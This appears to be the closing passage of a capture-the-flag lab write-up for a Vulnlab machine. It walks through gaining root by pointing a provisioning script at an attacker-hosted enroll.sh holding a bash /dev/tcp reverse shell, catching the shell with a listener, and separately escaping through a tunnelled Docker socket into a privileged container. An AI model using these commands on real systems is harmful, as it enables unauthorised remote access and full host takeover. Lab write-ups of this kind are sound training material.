root@os:/etc/nginx/sites-available# tail -n 5 tls.conf 
#        proxy_pass          http://localhost:9000;
	proxy_pass	http://10.8.4.253:9090;
        proxy_read_timeout  90;
    }    
}

root@os:/etc/nginx/sites-available# ls -la ../sites-enabled/
total 8
drwxr-xr-x 2 root root 4096 Jun 30  2023 .
drwxr-xr-x 9 root root 4096 Jun 30  2023 ..
lrwxrwxrwx 1 root root   37 Jun 30  2023 admin.conf -> /etc/nginx/sites-available/admin.conf
lrwxrwxrwx 1 root root   35 Jun 30  2023 api.conf -> /etc/nginx/sites-available/api.conf
lrwxrwxrwx 1 root root   35 Jun 30  2023 tls.conf -> /etc/nginx/sites-available/tls.conf

Restart the Nginx server:

root@os:/etc/nginx/sites-available# systemctl restart nginx

Start a local web server:

$ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...

Create the following folder structure in our attacker machine and place an enroll.sh script with a reverse shell:

/path1/path2/enroll.sh
$ cat you_have/been_pwned/enroll.sh 
#!/bin/bash
/bin/sh -i >& /dev/tcp/10.8.4.253/443 0>&1

Start a penelope listener:

$ penelope 443 -i tun0     
[+] Listening for reverse shells on 10.8.4.253:443 
➤  💀 Show Payloads (p) 🏠 Main Menu (m) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)

Start our attack:

$ ssh -i provision.key root@intra.control.vl "/opt/provision/modules/prov_osqd" "you_have" "been_pwned"

Our revshell has been correctly downloaded:

$ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
10.10.165.182 - - [13/Feb/2025 19:35:13] code 501, message Unsupported method ('POST')
10.10.165.182 - - [13/Feb/2025 19:35:19] "POST /06db90ca-cdf6-4735-928c-17654a398aa3/read HTTP/1.0" 501 -
10.10.165.182 - - [13/Feb/2025 19:35:27] "GET /you_have/been_pwned/enroll.sh HTTP/1.0" 200 -
...

Then we got our shell as root on intra:

$ penelope 443 -i tun0     
[+] Listening for reverse shells on 10.8.4.253:443 
➤  💀 Show Payloads (p) 🏠 Main Menu (m) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from 🐧 wiki.intra.control.vl~10.10.165.181 😍️ - Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12 
[+] Logging to /home/user/.penelope/wiki.intra.control.vl~10.10.165.181/wiki.intra.control.vl~10.10.165.181.log 📜
────────────────────────────────────────
root@intra:~# 

Then grab the final flag (following the same rabbit hole style that the creator of this machine likes soo much ^^):

root@intra:~# cat root.txt 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⣷⡀⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣄⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣿⣿⣆⢸⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣶⣤⣙⣿⣿⣾⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⠻⣿⣿⡿⠿⠿⠿⠿⠗⠶⠶⠶⠤⢤⣄⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡴⠖⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠓⠦⣤⣤⢤⡞⢦⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⠞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⢦⡀⠈⢧⡀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢀⣄⢀⣴⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⣦⠀⠱⣄⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣾⠈⠉⠀⠻⡷⠀⠀⣠⠖⠚⠉⠉⠉⠉⠓⢦⡀⠀⠀⠀⠀⠀⡤⠚⠉⠉⠉⠉⠑⠢⣄⠀⠈⢧⠀⠈⢳⡀⠀⠀
⠀⠀⠀⠀⠀⢰⠇⠀⠀⠀⠀⡇⢠⡞⠀⠀⠀⠀⢀⡀⠀⠀⠀⢹⠀⠀⠀⠀⢸⠁⠀⠀⡤⠀⠀⠀⠀⠈⣇⠀⠸⡆⠀⠀⢻⡄⠀
⠀⠀⠀⠀⢠⡏⠀⠀⠀⠀⠀⡇⠸⡇⠀⠀⠀⠀⠀⠀⠀⠀⢀⡞⠀⠀⠀⠀⠈⠣⣀⠀⠀⠀⠀⠀⠀⣠⠇⠀⠀⡇⠀⠀⠀⢿⠀
⠀⠀⠀⢀⡞⠀⠀⠀⠀⠀⠀⡇⠀⠙⠲⢤⣀⣀⣀⣀⠤⠖⠋⠀⣀⡴⠚⠓⠢⣄⡈⠙⠒⠒⠒⠒⠋⠁⠀⠀⢸⠃⠀⠀⠀⢸⡆
⠀⠀⠀⣼⠁⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠴⠚⢥⡀⠀⠀⠀⡀⠙⠓⠒⠶⠦⢤⡄⠀⠀⣠⡏⠀⠀⠀⠀⢸⡇
⠀⠀⢰⡇⠀⠀⠀⠀⠀⠀⠀⢻⠀⠀⢀⣤⠶⠒⠚⠋⠉⠁⠀⠀⠀⠁⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⣇⢀⡴⠋⠀⠀⠀⠀⠀⣸⠃
⠀⠀⢸⠃⠀⠀⠀⠀⠀⠀⠀⢸⣧⡀⠀⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠻⣄⠀⠀⠀⠀⠀⢀⡟⠀
⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⠘⡏⠉⠳⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳⡄⠀⠀⢀⡾⠁⠀
⠀⠀⢸⡀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡀⣠⠞⠀⠀⠀
⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⢠⡇⠀⠸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡿⢻⡏⠀⠀⠀⠀
⠀⠀⠀⢻⡀⠀⠀⠀⠀⠀⢀⡾⠁⠀⠀⠹⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⠟⠁⠀⢷⠀⠀⠀⠀
⠀⠀⠀⠀⠙⠦⣤⣄⣀⠀⠘⠁⠀⠀⠀⠀⠀⠙⠲⠦⣤⣄⣀⣀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⣤⠴⠚⠉⠀⠀⠀⠀⠈⣇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢸⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡀⠀⠀
⣠⣀⣀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀
⢳⡀⠈⠙⠲⢤⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠇⠀⠀
⠀⠙⢦⡀⠀⠀⠘⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡿⠀⠀⠀
⠀⠀⠀⠙⠶⣄⡀⠈⢷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡾⠁⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠙⠲⢤⣹⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠋⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠙⣳⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⢾⡋⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠊⠁⠀⠈⠙⠲⠦⣤⣄⣀⣀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣤⠴⠖⠛⠉⠀⠀⠉⠳⣄⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢀⡔⠁⠀⠀⢀⠀⠀⠀⠀⢀⠀⠀⠈⢻⠉⠉⠉⠉⠉⠉⢹⠉⠉⠀⠀⡀⠀⠀⠀⠀⢠⡀⠀⠈⢧⡀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠟⠒⠒⠒⠛⠙⣄⠀⣀⡴⠛⠳⢤⣀⡀⣧⠀⠀⠀⠀⠀⢸⡀⣀⣠⠴⠛⠦⣄⠀⢀⡏⠉⠙⠒⠶⠇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⠁⠀⠀⠀⠀⠀⠉⠉⠀⠀⠀⠀⠀⠈⠉⠁⠀⠀⠀⠀⠈⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀
root@intra:~# ls -la
total 68
drwx------  9 root root  4096 Jul  1  2023 .
drwxr-xr-x 19 root root  4096 Jun 30  2023 ..
lrwxrwxrwx  1 root root     9 Jul  1  2023 .bash_history -> /dev/null
-rw-r--r--  1 root root  3106 Oct 15  2021 .bashrc
drwxr-xr-x  2 root root  4096 Jun 30  2023 bin
drwx------  2 root root  4096 Jun 30  2023 .cache
drwx------  3 root root  4096 Jun 30  2023 .config
drwx------  2 root root  4096 Jul  1  2023 docker
drwxr-xr-x  3 root root  4096 Jun 30  2023 .local
-rw-r--r--  1 root root   161 Jul  9  2019 .profile
-rwx------  1 root root 14473 Jul  1  2023 root_9ae545.txt
-r--r--r--  1 root root  4544 Jul  1  2023 root.txt
drwx------  3 root root  4096 Jun 30  2023 snap
drwx------  2 root root  4096 Jul  1  2023 .ssh
root@intra:~# ./root_9ae545.txt 
VL{7786f89e87c25ba363f233a32bca057b}

More details on the attack:

In the ssh command, we are running the provision script /opt/provision/modules/prov_osqd and passing it 3 arguments:

  • The first argument will get basename’d into prov_osqd (so it was not needed to provide the full prov_osqd path), that script is running.
  • The last 2 arguments are passed into the prov_osqd shell script.
  • Then, the prov_osqd script downloads http://10.8.4.253:9090/you_have/been_pwned/enroll.sh (replacing the original https://os.control.vl/beat/elite/enroll.sh), which contains our reverse shell.
  • The contents of enroll.sh is executed.

PS: We could also include into a bash command to write kara’s ssh pubkey into the authorized_keys of root

Unintended way to root

We can also enumerate the docker parts using osquery to figure out that docker is running on the host.

Then we can tunnel the docker.socket to our attacker machine:

ssh -N -L $PWD/docker.sock:/var/run/docker.sock -i id_ed25519.root-provision root@intra.control.vl

Then run privileged commands in this environment as root:

docker -H unix:///$PWD/docker.sock run --privileged -v /:/host -it jwilder/nginx-proxy bash
root@d661055f2953:/app# cd /host
root@d661055f2953:/host# ls
bin  boot  dev    etc  home  lib    lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap    srv  swap.img  sys  tmp  usr  var
root@d661055f2953:/host# cd root
root@d661055f2953:/host/root# ls
bin  docker  root.txt  root_9ae545.txt    snap

Extra

Challenge solved! Use this link to share it: https://api.vulnlab.com/api/v1/share?id=1220ea8c-a695-4907-abf0-e0ca95dd1835

image